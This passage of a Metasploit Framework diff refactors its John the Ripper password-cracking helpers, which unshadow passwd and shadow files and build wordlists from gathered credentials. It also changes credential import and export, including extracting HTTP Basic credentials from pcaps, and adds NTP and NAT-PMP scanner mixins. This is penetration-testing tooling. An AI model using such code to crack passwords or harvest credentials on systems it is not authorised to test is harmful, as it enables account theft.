File.readable?(shadow_file) - print_error("We do not have permission to read #{shadow_file}") - return nil - end - else - print_error("File does not exist: #{shadow_file}") - return nil - end - - - cmd = [ john_command.gsub(/john$/, "unshadow"), passwd_file , shadow_file ] - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - retval << line - end - end - return retval - end - - def john_wordlist_path - # We ship it under wordlists/ - path = ::File.join(john_base_path, "wordlists", "password.lst") - # magnumripper/JohnTheRipper repo keeps it under run/ - unless ::File.file? path - path = ::File.join(john_base_path, "run", "password.lst") - end - - path - end - - def john_binary_path - path = nil - if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) - path = datastore['JOHN_PATH'] - ::FileUtils.chmod(0755, path) rescue nil - return path - end - - if not @run_path - if ::RUBY_PLATFORM =~ /mingw|cygwin|mswin/ - ::File.join(john_base_path, "john.exe") - else - path = ::File.join(john_base_path, "john") - ::FileUtils.chmod(0755, path) rescue nil - end - else - path = ::File.join(john_base_path, @run_path) - ::FileUtils.chmod(0755, path) rescue nil - end - - if path and ::File.exists?(path) - return path - end - - path = Rex::FileUtils.find_full_path("john") || - Rex::FileUtils.find_full_path("john.exe") - end - - def john_base_path - if datastore['JOHN_BASE'] and ::File.directory?(datastore['JOHN_BASE']) - return datastore['JOHN_BASE'] - end - if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) - return ::File.dirname( datastore['JOHN_PATH'] ) - end - @john_path - end - - def john_expand_word(str) - res = [str] - str.split(/\W+/) {|w| res << w } - res.uniq end + # @param pwd [String] Password recovered from cracking an LM hash + # @param hash [String] NTLM hash for this password + # @return [String] `pwd` converted to the correct case to match the + # given NTLM hash + # @return [nil] if no case matches the NT hash. This can happen when + # `pwd` came from a john run that only cracked half of the LM hash def john_lm_upper_to_ntlm(pwd, hash) pwd = pwd.upcase hash = hash.upcase @@ -273,179 +59,41 @@ module Auxiliary::JohnTheRipper end - def john_crack(hfile, opts={}) - - res = {:cracked => 0, :uncracked => 0, :users => {} } - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return nil - end - - # Don't bother making a log file, we'd just have to rm it when we're - # done anyway. - cmd = [ john_command, "--session=" + john_session_id, "--nolog"] - - if opts[:conf] - cmd << ( "--conf=" + opts[:conf] ) - else - cmd << ( "--conf=" + ::File.join(john_base_path, "confs", "john.conf") ) - end - - if opts[:pot] - cmd << ( "--pot=" + opts[:pot] ) - else - cmd << ( "--pot=" + john_pot_file ) - end - - if opts[:format] - cmd << ( "--format=" + opts[:format] ) - end - - if opts[:wordlist] - cmd << ( "--wordlist=" + opts[:wordlist] ) - end - - if opts[:incremental] - cmd << ( "--incremental=" + opts[:incremental] ) - end - - if opts[:single] - cmd << ( "--single=" + opts[:single] ) - end - - if opts[:rules] - cmd << ( "--rules=" + opts[:rules] ) - end - - cmd << hfile - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - print_status("Output: #{line.strip}") - end - end - - res + # This method creates a new {Metasploit::Framework::JtR::Cracker} and populates + # some of the attributes based on the module datastore options. + # + # @return [nilClass] if there is no active framework db connection + # @return [Metasploit::Framework::JtR::Cracker] if it successfully creates a JtR Cracker object + def new_john_cracker + return nil unless framework.db.active + Metasploit::Framework::JtR::Cracker.new( + config: datastore['CONFIG'], + john_path: datastore['JOHN_PATH'], + max_runtime: datastore['ITERATION_TIMEOUT'], + pot: datastore['POT'], + wordlist: datastore['CUSTOM_WORDLIST'] + ) end - def build_seed - - seed = [] - #Seed the wordlist with Database , Table, and Instance Names - - count = 0 - schemas = myworkspace.notes.where('ntype like ?', '%.schema%') - unless schemas.nil? or schemas.empty? - schemas.each do |anote| - seed << anote.data['DBName'] - count += 1 - anote.data['Tables'].each do |table| - seed << table['TableName'] - count += 1 - table['Columns'].each do |column| - seed << column['ColumnName'] - count += 1 - end - end - end - end - print_status "Seeding wordlist with DB schema info... #{count} words added" - count = 0 - - instances = myworkspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']) - unless instances.nil? or instances.empty? - instances.each do |anote| - seed << anote.data['InstanceName'] - count += 1 - end - end - print_status "Seeding with MSSQL Instance Names....#{count} words added" - count = 0 - - # Seed the wordlist with usernames, passwords, and hostnames - - myworkspace.hosts.find(:all).each do |o| - if o.name - seed << john_expand_word( o.name ) - count += 1 - end - end - print_status "Seeding with hostnames....#{count} words added" - count = 0 - - - myworkspace.creds.each do |o| - if o.user - seed << john_expand_word( o.user ) - count +=1 - end - if (o.pass and o.ptype !~ /hash/) - seed << john_expand_word( o.pass ) - count += 1 - end - end - print_status "Seeding with found credentials....#{count} words added" - count = 0 - - # Grab any known passwords out of the john.pot file - john_cracked_passwords.values do |v| - seed << v - count += 1 - end - print_status "Seeding with cracked passwords from John....#{count} words added" - count = 0 - - #Grab the default John Wordlist - john = File.open(john_wordlist_path, "rb") - john.each_line do |line| - seed << line.chomp - count += 1 - end - print_status "Seeding with default John wordlist...#{count} words added" - count = 0 - - if datastore['Wordlist'] - wordlist= File.open(datastore['Wordlist'], "rb") - wordlist.each_line do |line| - seed << line.chomp - count ==1 - end - print_status "Seeding from user supplied wordlist...#{count} words added" - end - - - - unless seed.empty? - seed.flatten! - seed.uniq! - if datastore['Munge'] - mungedseed=[] - seed.each do |word| - munged = word.gsub(/[sS]/, "$").gsub(/[aA]/,"@").gsub(/[oO]/,"0") - mungedseed << munged - munged.gsub!(/[eE]/, "3") - munged.gsub!(/[tT]/, "7") - mungedseed << munged - end - print_status "Adding #{mungedseed.count} words from munging..." - seed << mungedseed - seed.flatten! - seed.uniq! - end - end - print_status "De-duping the wordlist...." - - print_status("Wordlist Seeded with #{seed.length} words") - - return seed - + # This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data + # out to a file and returns the {rex::quickfile} object. + # + # @return [nilClass] if there is no active framework db connection + # @return [Rex::Quickfile] if it successfully wrote the wordlist to a file + def wordlist_file + return nil unless framework.db.active + wordlist = Metasploit::Framework::JtR::Wordlist.new( + custom_wordlist: datastore['CUSTOM_WORDLIST'], + mutate: datastore['MUTATE'], + use_creds: datastore['USE_CREDS'], + use_db_info: datastore['USE_DB_INFO'], + use_default_wordlist: datastore['USE_DEFAULT_WORDLIST'], + use_hostnames: datastore['USE_HOSTNAMES'], + use_common_root: datastore['USE_ROOT_WORDS'], + workspace: myworkspace + ) + wordlist.to_file end + end end diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index a20642ab91..6793162658 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -21,6 +21,10 @@ module Auxiliary::Login def initialize(info = {}) super + create_login_ivars + end + + def create_login_ivars # Appended to by each read and gets reset after each send. Doing it # this way lets us deal with partial reads in the middle of expect # strings, e.g., the first recv returns "Pa" and the second returns diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index afa9ff5928..610866fe56 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -5,6 +5,7 @@ # require 'msf/core/auxiliary/auth_brute' require 'msf/core/auxiliary/dos' +require 'msf/core/auxiliary/drdos' require 'msf/core/auxiliary/fuzzer' require 'msf/core/auxiliary/report' require 'msf/core/auxiliary/scanner' @@ -19,6 +20,7 @@ require 'msf/core/auxiliary/login' require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/nmap' -require 'msf/core/auxiliary/jtr' +require 'msf/core/auxiliary/natpmp' require 'msf/core/auxiliary/iax2' +require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/pii' diff --git a/lib/msf/core/auxiliary/natpmp.rb b/lib/msf/core/auxiliary/natpmp.rb new file mode 100644 index 0000000000..b2cea9230e --- /dev/null +++ b/lib/msf/core/auxiliary/natpmp.rb @@ -0,0 +1,27 @@ +# -*- coding: binary -*- +require 'rex/proto/natpmp' + +module Msf + +### +# +# This module provides methods for working with NAT-PMP +# +### +module Auxiliary::NATPMP + + include Auxiliary::Scanner + include Rex::Proto::NATPMP + + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), + Opt::CHOST + ], + self.class + ) + end +end +end diff --git a/lib/msf/core/auxiliary/ntp.rb b/lib/msf/core/auxiliary/ntp.rb new file mode 100644 index 0000000000..abaa96b157 --- /dev/null +++ b/lib/msf/core/auxiliary/ntp.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- +require 'rex/proto/ntp' + +module Msf + +### +# +# This module provides methods for working with NTP +# +### +module Auxiliary::NTP + + include Auxiliary::Scanner + + # + # Initializes an instance of an auxiliary module that uses NTP + # + + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(123), + ], self.class) + + register_advanced_options( + [ + OptInt.new('VERSION', [true, 'Use this NTP version', 2]), + OptInt.new('IMPLEMENTATION', [true, 'Use this NTP mode 7 implementation', 3]) + ], self.class) + end +end +end diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 53e18d9fe2..a7d10262a7 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -8,10 +8,13 @@ module Msf ### module Auxiliary::Report + extend Metasploit::Framework::Require + optionally_include_metasploit_credential_creation - def initialize(info = {}) - super + # This method overrides the method from Metasploit::Credential to check for an active db + def active_db? + framework.db.active end # Shortcut method for detecting when the DB is active @@ -23,6 +26,18 @@ module Auxiliary::Report @myworkspace = framework.db.find_workspace(self.workspace) end + # This method safely get the workspace ID. It handles if the db is not active + # + # @return [NilClass] if there is no DB connection + # @return [Fixnum] the ID of the current {Mdm::Workspace} + def myworkspace_id + if framework.db.active + myworkspace.id + else + nil + end + end + def mytask if self[:task] return self[:task].record @@ -215,7 +230,7 @@ module Auxiliary::Report end case ctype - when "text/plain" + when /^text\/[\w\.]+$/ ext = "txt" end # This method is available even if there is no database, don't bother checking @@ -387,6 +402,9 @@ module Auxiliary::Report print_status "Collecting #{cred_opts[:user]}:#{cred_opts[:pass]}" framework.db.report_auth_info(cred_opts) end + + + end end diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb index 1bbe5cd809..0a5fbaa2a2 100644 --- a/lib/msf/core/auxiliary/web/analysis/differential.rb +++ b/lib/msf/core/auxiliary/web/analysis/differential.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/analysis/taint.rb b/lib/msf/core/auxiliary/web/analysis/taint.rb index e513d34da7..1be14dbd85 100644 --- a/lib/msf/core/auxiliary/web/analysis/taint.rb +++ b/lib/msf/core/auxiliary/web/analysis/taint.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/analysis/timing.rb b/lib/msf/core/auxiliary/web/analysis/timing.rb index d307d2db83..ed0dc6042a 100644 --- a/lib/msf/core/auxiliary/web/analysis/timing.rb +++ b/lib/msf/core/auxiliary/web/analysis/timing.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/form.rb b/lib/msf/core/auxiliary/web/form.rb index 6dbc16dbf0..130b0fe0b3 100644 --- a/lib/msf/core/auxiliary/web/form.rb +++ b/lib/msf/core/auxiliary/web/form.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/auxiliary/web/fuzzable.rb b/lib/msf/core/auxiliary/web/fuzzable.rb index c98176f62c..07ae5ae284 100644 --- a/lib/msf/core/auxiliary/web/fuzzable.rb +++ b/lib/msf/core/auxiliary/web/fuzzable.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 495180f67c..45c91883ce 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/path.rb b/lib/msf/core/auxiliary/web/path.rb index 889e72e38b..07ab99694e 100644 --- a/lib/msf/core/auxiliary/web/path.rb +++ b/lib/msf/core/auxiliary/web/path.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/auxiliary/web/target.rb b/lib/msf/core/auxiliary/web/target.rb index b606ab0b4f..fd4fc593ff 100644 --- a/lib/msf/core/auxiliary/web/target.rb +++ b/lib/msf/core/auxiliary/web/target.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 33db0e6a54..2896ef886d 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -7,7 +7,6 @@ require 'csv' require 'tmpdir' require 'uri' -require 'zip' # # @@ -56,6 +55,7 @@ require 'rex/parser/retina_xml' # Project # +require 'metasploit/framework/require' require 'msf/core/db_manager/import_msf_xml' module Msf @@ -156,7 +156,10 @@ end # ### class DBManager + extend Metasploit::Framework::Require + include Msf::DBManager::ImportMsfXml + optionally_include_metasploit_credential_creation def rfc3330_reserved(ip) case ip.class.to_s @@ -1371,8 +1374,6 @@ class DBManager =end ntype = opts.delete(:type) || opts.delete(:ntype) || (raise RuntimeError, "A note :type or :ntype is required") data = opts[:data] - method = nil - args = [] note = nil conditions = { :ntype => ntype } @@ -1381,15 +1382,7 @@ class DBManager case mode when :unique - notes = wspace.notes.where(conditions) - - # Only one note of this type should exist, make a new one if it - # isn't there. If it is, grab it and overwrite its data. - if notes.empty? - note = wspace.notes.new(conditions) - else - note = notes[0] - end + note = wspace.notes.where(conditions).first_or_initialize note.data = data when :unique_data notes = wspace.notes.where(conditions) @@ -2184,9 +2177,15 @@ class DBManager # @return [Integer] ID of created report def report_report(opts) return if not active - ::ActiveRecord::Base.connection_pool.with_connection { + created = opts.delete(:created_at) + updated = opts.delete(:updated_at) + state = opts.delete(:state) + ::ActiveRecord::Base.connection_pool.with_connection { report = Report.new(opts) + report.created_at = created + report.updated_at = updated + unless report.valid? errors = report.errors.full_messages.join('; ') raise RuntimeError "Report to be imported is not valid: #{errors}" @@ -2201,10 +2200,14 @@ class DBManager # Creates a ReportArtifact based on passed parameters. # @param opts [Hash] of ReportArtifact attributes def report_artifact(opts) + return if not active + artifacts_dir = Report::ARTIFACT_DIR tmp_path = opts[:file_path] artifact_name = File.basename tmp_path new_path = File.join(artifacts_dir, artifact_name) + created = opts.delete(:created_at) + updated = opts.delete(:updated_at) unless File.exists? tmp_path raise DBImportError 'Report artifact file to be imported does not exist.' @@ -2222,6 +2225,9 @@ class DBManager FileUtils.copy(tmp_path, new_path) opts[:file_path] = new_path artifact = ReportArtifact.new(opts) + artifact.created_at = created + artifact.updated_at = updated + unless artifact.valid? errors = artifact.errors.full_messages.join('; ') raise RuntimeError "Artifact to be imported is not valid: #{errors}" @@ -2906,29 +2912,36 @@ class DBManager data = "" ::File.open(filename, 'rb') do |f| - data = f.read(4) + # This check is the largest (byte-wise) that we need to do + # since the other 4-byte checks will be subsets of this larger one. + data = f.read(Metasploit::Credential::Exporter::Pwdump::FILE_ID_STRING.size) end if data.nil? raise DBImportError.new("Zero-length file") end - case data[0,4] - when "PK\x03\x04" - data = Zip::ZipFile.open(filename) - when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4" - data = PacketFu::PcapFile.new(:filename => filename) + if data.index(Metasploit::Credential::Exporter::Pwdump::FILE_ID_STRING) + data = ::File.open(filename, 'rb') else - ::File.open(filename, 'rb') do |f| - sz = f.stat.size - data = f.read(sz) + case data[0,4] + when "PK\x03\x04" + data = Zip::File.open(filename) + when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4" + data = PacketFu::PcapFile.new(:filename => filename) + else + ::File.open(filename, 'rb') do |f| + sz = f.stat.size + data = f.read(sz) + end end end + + if block import(args.merge(:data => data)) { |type,data| yield type,data } else import(args.merge(:data => data)) end - end # A dispatcher method that figures out the data's file type, @@ -2937,7 +2950,6 @@ class DBManager # is unknown. def import(args={}, &block) data = args[:data] || args['data'] - wspace = args[:wspace] || args['wspace'] || workspace ftype = import_filetype_detect(data) yield(:filetype, @import_filedata[:type]) if block self.send "import_#{ftype}".to_sym, args, &block @@ -2958,6 +2970,7 @@ class DBManager # :ip_list # :libpcap # :mbsa_xml + # :msf_cred_dump_zip # :msf_pwdump # :msf_xml # :msf_zip @@ -2979,9 +2992,11 @@ class DBManager # :wapiti_xml # # If there is no match, an error is raised instead. + # + # @raise DBImportError if the type can't be detected def import_filetype_detect(data) - if data and data.kind_of? Zip::ZipFile + if data and data.kind_of? Zip::File if data.entries.empty? raise DBImportError.new("The zip file provided is empty.") end @@ -2991,6 +3006,11 @@ class DBManager @import_filedata[:zip_basename] = @import_filedata[:zip_filename].gsub(/\.zip$/,"") @import_filedata[:zip_entry_names] = data.entries.map {|x| x.name} + if @import_filedata[:zip_entry_names].include?(Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) + @import_filedata[:type] = "Metasploit Credential Dump" + return :msf_cred_dump_zip + end + xml_files = @import_filedata[:zip_entry_names].grep(/^(.*)\.xml$/) # TODO This check for our zip export should be more extensive @@ -3014,6 +3034,12 @@ class DBManager return :libpcap end + # msfpwdump + if data.present? && data.kind_of?(::File) + @import_filedata[:type] = "Metasploit PWDump Export" + return :msf_pwdump + end + # This is a text string, lets make sure its treated as binary data = data.unpack("C*").pack("C*") if data and data.to_s.strip.length == 0 @@ -3376,7 +3402,7 @@ class DBManager end end # tcp or udp - inspect_single_packet(pkt,wspace,args[:task]) + inspect_single_packet(pkt,wspace,args) end # data.body.map @@ -3389,16 +3415,17 @@ class DBManager # Do all the single packet analysis we can while churning through the pcap # the first time. Multiple packet inspection will come later, where we can # do stream analysis, compare requests and responses, etc. - def inspect_single_packet(pkt,wspace,task=nil) + def inspect_single_packet(pkt,wspace,args) if pkt.is_tcp? or pkt.is_udp? - inspect_single_packet_http(pkt,wspace,task) + inspect_single_packet_http(pkt,wspace,args) end end # Checks for packets that are headed towards port 80, are tcp, contain an HTTP/1.0 # line, contains an Authorization line, contains a b64-encoded credential, and # extracts it. Reports this credential and solidifies the service as HTTP. - def inspect_single_packet_http(pkt,wspace,task=nil) + def inspect_single_packet_http(pkt,wspace,args) + task = args.fetch(:task, nil) # First, check the server side (data from port 80). if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty? if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n @@ -3442,17 +3469,37 @@ class DBManager :name => "http", :task => task ) - report_auth_info( - :workspace => wspace, - :host => pkt.ip_daddr, - :port => pkt.tcp_dst, - :proto => "tcp", - :type => "password", - :active => true, # Once we can build a stream, determine if the auth was successful. For now, assume it is. - :user => user, - :pass => pass, - :task => task - ) + + service_data = { + address: pkt.ip_daddr, + port: pkt.tcp_dst, + service_name: 'http', + protocol: 'tcp', + workspace_id: wspace.id + } + service_data[:task_id] = task.id if task + + filename = args[:filename] + + credential_data = { + origin_type: :import, + private_data: pass, + private_type: :password, + username: user, + filename: filename + } + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + + create_credential_login(login_data) + # That's all we want to know from this service. return :something_significant end @@ -3496,109 +3543,15 @@ class DBManager end end - # - # Metasploit PWDump Export - # - # This file format is generated by the db_export -f pwdump and - # the Metasploit Express and Pro report types of "PWDump." - # - # This particular block scheme is temporary, since someone is - # bound to want to import gigantic lists, so we'll want a - # stream parser eventually (just like the other non-nmap formats). - # - # The file format is: - # # 1.2.3.4:23/tcp (telnet) - # username password - # user2 p\x01a\x02ss2 - # pass3 - # user3 - # smbuser:sid:lmhash:nthash::: - # - # Note the leading hash for the host:port line. Note also all usernames - # and passwords must be in 7-bit ASCII (character sequences of "\x01" - # will be interpolated -- this includes spaces, which must be notated - # as "\x20". Blank usernames or passwords should be . - # + + # Perform in an import of an msfpwdump file def import_msf_pwdump(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - last_host = nil - - addr = nil - port = nil - proto = nil - sname = nil - ptype = nil - active = false # Are there cases where imported creds are good? I just hate trusting the import right away. - - data.each_line do |line| - case line - when /^[\s]*#/ # Comment lines - if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n] - addr = $1 - port = $2 - proto = $4 - sname = $6 - end - when /^[\s]*Warning:/ - # Discard warning messages. - next - - # SMB Hash - when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/ - user = ([nil, ""].include?($1)) ? "" : $1 - pass = ([nil, ""].include?($2)) ? "" : $2 - ptype = "smb_hash" - - # SMB Hash - when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/ - user = ([nil, ""].include?($1)) ? "" : $1 - pass = "" - ptype = "smb_hash" - - # SMB Hash with cracked plaintext, or just plain old plaintext - when /^[\s]*([^\s:]+):(.+):[A-Fa-f0-9]*:[A-Fa-f0-9]*:::$/ - user = ([nil, ""].include?($1)) ? "" : $1 - pass = ([nil, ""].include?($2)) ? "" : $2 - ptype = "password" - - # Must be a user pass - when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n - user = ([nil, ""].include?($1)) ? "" : dehex($1) - pass = ([nil, ""].include?($2)) ? "" : dehex($2) - ptype = "password" - else # Some unknown line not broken by a space. - next - end - - next unless [addr,port,user,pass].compact.size == 4 - next unless ipv46_validator(addr) # Skip Malformed addrs - next unless port[/^[0-9]+$/] # Skip malformed ports - if bl.include? addr - next - else - yield(:address,addr) if block and addr != last_host - last_host = addr - end - - cred_info = { - :host => addr, - :port => port, - :user => user, - :pass => pass, - :type => ptype, - :workspace => wspace, - :task => args[:task] - } - cred_info[:proto] = proto if proto - cred_info[:sname] = sname if sname - cred_info[:active] = active - - report_auth_info(cred_info) - user = pass = ptype = nil - end - + filename = File.basename(args[:data].path) + wspace = args[:wspace] || workspace + origin = Metasploit::Credential::Origin::Import.create!(filename: filename) + importer = Metasploit::Credential::Importer::Pwdump.new(input: args[:data], workspace: wspace, filename: filename, origin:origin) + importer.import! + importer.input.close unless importer.input.closed? end # If hex notation is present, turn them into a character. @@ -3649,7 +3602,7 @@ class DBManager # XXX: Refactor so it's not quite as sanity-blasting. def import_msf_zip(args={}, &block) data = args[:data] - wpsace = args[:wspace] || workspace + wspace = args[:wspace] || workspace bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename]) @@ -3680,9 +3633,10 @@ class DBManager } data.entries.each do |e| - target = ::File.join(@import_filedata[:zip_tmp],e.name) + target = ::File.join(@import_filedata[:zip_tmp], e.name) data.extract(e,target) - if target =~ /^.*.xml$/ + + if target =~ /\.xml\z/ target_data = ::File.open(target, "rb") {|f| f.read 1024} if import_filetype_detect(target_data) == :msf_xml @import_filedata[:zip_extracted_xml] = target @@ -3690,6 +3644,16 @@ class DBManager end end + # Import any creds if there are some in the import file + Dir.entries(@import_filedata[:zip_tmp]).each do |entry| + if entry =~ /^.*#{Regexp.quote(Metasploit::Credential::Exporter::Core::CREDS_DUMP_FILE_IDENTIFIER)}.*/ + manifest_file_path = File.join(@import_filedata[:zip_tmp], entry, Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) + if File.exists? manifest_file_path + import_msf_cred_dump(manifest_file_path, wspace) + end + end + end + # This will kick the newly-extracted XML file through # the import_file process all over again. if @import_filedata[:zip_extracted_xml] @@ -3856,6 +3820,31 @@ class DBManager end end + # Import credentials given a path to a valid manifest file + # + # @param creds_dump_manifest_path [String] + # @param workspace [Mdm::Workspace] Default: {#workspace} + # @return [void] + def import_msf_cred_dump(creds_dump_manifest_path, workspace) + manifest_file = File.open(creds_dump_manifest_path) + origin = Metasploit::Credential::Origin::Import.create!(filename: File.basename(creds_dump_manifest_path)) + importer = Metasploit::Credential::Importer::Core.new(workspace: workspace, input: manifest_file, origin: origin) + importer.import! + end + + # Import credentials given a path to a valid manifest file + # + # @option args [String] :filename + # @option args [Mdm::Workspace] :wspace Default: {#workspace} + # @return [void] + def import_msf_cred_dump_zip(args = {}) + wspace = args[:wspace] || workspace + origin = Metasploit::Credential::Origin::Import.create!(filename: File.basename(args[:filename])) + importer = Metasploit::Credential::Importer::Zip.new(workspace: wspace, input: File.open(args[:filename]), origin: origin) + importer.import! + nil + end + # @param report [REXML::Element] to be imported # @param args [Hash] # @param base_dir [String] diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index 0a110f3006..45e7f48ff7 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -28,175 +28,19 @@ class Export true end - # Creates the PWDUMP text file. smb_hash and ssh_key credentials are - # treated specially -- all other ptypes are treated as plain text. - # - # Some day in the very near future, this file format will be importable -- - # the comment preceding the credential is always in the format of IPAddr:Port/Proto (name), - # so it should be a simple matter to read them back in and store credentials - # in the right place. Finally, this format is already parsable by John the Ripper, - # so hashes can be bruteforced offline. + + # Performs an export of the workspace's `Metasploit::Credential::Login` objects in pwdump format + # @param path [String] the path on the local filesystem where the exported data will be written + # @return [void] def to_pwdump_file(path, &block) - yield(:status, "start", "password dump") if block_given? - creds = extract_credentials - report_file = ::File.open(path, "wb") - report_file.write "# Metasploit PWDump Export v1\n" - report_file.write "# Generated: #{Time.now.utc}\n" - report_file.write "# Project: #{myworkspace.name}\n" - report_file.write "#\n" - report_file.write "#" * 40; report_file.write "\n" + exporter = Metasploit::Credential::Exporter::Pwdump.new(workspace: workspace) - count = count_credentials("smb_hash",creds) - scount = creds.has_key?("smb_hash") ? creds["smb_hash"].size : 0 - yield(:status, "start", "LM/NTLM Hash dump") if block_given? - report_file.write "# LM/NTLM Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_hash",creds,report_file) - - count = count_credentials("smb_netv1_hash",creds) - scount = creds.has_key?("smb_netv1_hash") ? creds["smb_netv1_hash"].size : 0 - yield(:status, "start", "NETLMv1/NETNTLMv1 Hash dump") if block_given? - report_file.write "# NETLMv1/NETNTLMv1 Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_netv1_hash",creds,report_file) - - count = count_credentials("smb_netv2_hash",creds) - scount = creds.has_key?("smb_netv2_hash") ? creds["smb_netv2_hash"].size : 0 - yield(:status, "start", "NETLMv2/NETNTLMv2 Hash dump") if block_given? - report_file.write "# NETLMv2/NETNTLMv2 Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_netv2_hash",creds,report_file) - - count = count_credentials("ssh_key",creds) - scount = creds.has_key?("ssh_key") ? creds["ssh_key"].size : 0 - yield(:status, "start", "SSH Key dump") if block_given? - report_file.write "# SSH Private Keys (%d services, %d keys)\n" % [scount, count] - write_credentials("ssh_key",creds,report_file) - - count = count_credentials("text",creds) - scount = creds.has_key?("text") ? creds["text"].size : 0 - yield(:status, "start", "Plaintext Credential dump") if block_given? - report_file.write "# Plaintext Credentials (%d services, %d credentials)\n" % [scount, count] - write_credentials("text",creds,report_file) - - report_file.flush - report_file.close - yield(:status, "complete", "password dump") if block_given? + File.open(path, 'w') do |file| + file << exporter.rendered_output + end true end - # Counts the total number of credentials for its type. - def count_credentials(ptype,creds) - sz = 0 - if creds[ptype] - creds[ptype].each_pair { |svc, data| data.each { |c| sz +=1 } } - end - return sz - end - - # Formats credentials according to their type, and writes it out to the - # supplied report file. Note for reimporting: Blank values are - def write_credentials(ptype,creds,report_file) - if creds[ptype] - creds[ptype].each_pair do |svc, data| - report_file.write "# #{svc}\n" - case ptype - when "smb_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "" : c.pass - report_file.write "%s:%d:%s:::\n" % [user,c.id,pass] - end - when "smb_netv1_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "" : c.pass - report_file.write "%s::%s\n" % [user,pass] - end - when "smb_netv2_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "" : c.pass - if pass != "" - pass = (c.pass.upcase =~ 